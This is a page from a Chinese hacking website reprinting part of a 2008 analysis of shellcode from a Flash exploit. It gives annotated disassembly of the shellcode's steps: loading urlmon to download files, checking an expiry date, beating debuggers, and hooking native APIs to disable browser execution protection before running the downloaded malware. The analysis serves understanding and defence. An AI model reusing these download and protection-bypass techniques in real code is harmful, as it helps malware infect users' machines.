黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]flash漏洞所用shellcode的分析
        ★★★★★

flash漏洞所用shellcode的分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-4 16:25:02

 

接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。

00407069    6A 01           push 1
0040706B    59              pop ecx
0040706C    68 6F6E0000     push 6E6F
00407071    68 75726C6D     push 6D6C7275
00407076    54              push esp ; ’urlmon’
00407077    8B06            mov eaxdword ptr [esi]                             ; LoadLibraryA
00407079    E8 10010000     call 0040718E                                         ; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞
0040707E    95              xchg eaxebp ; urlmon.dll基址入ebp
0040707F    E8 BE010000     call 00407242                                         ; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileA

URLDownloadToFileA函数地址被保存在[esi+2C]

在进入实质工作之前,就是附加的操作。

首先是时间限制的验证
00407084    68 3D400000     push 403D
00407089    6A FF           push -1
0040708B    6A FF           push -1
0040708D    3E:DB2C24       fld tbyte ptr ds:[esp]
00407091    50              push eax ; 只是在堆栈腾出FILETIME结构的内存空间
00407092    50              push eax
00407093    54              push esp
00407094    FF56 20         call dword ptr [esi+20]                               ; GetSystemTimeAsFileTime
00407097    8BC4            mov eaxesp
00407099    68 6EC2C801     push 1C8C26E
0040709E    68 00C0B336     push 36B3C000
004070A3    54              push esp
004070A4    50              push eax
004070A5    FF56 1C         call dword ptr [esi+1C]                               ; CompareFileTime
004070A8    48              dec eax
004070A9    75 03           jnz short 004070AE                                   ; (16)系统时间如果晚于设定好的时间,则不跳走
004070AB    FF56 10         call dword ptr [esi+10]                               ; 这样就直接ExitThread了,也就是这个shellcode的时间限制

我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把EIP改到下一句,不让它退出,继续调试。

接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行 了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还 原,从而破坏了一些软件的浏览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886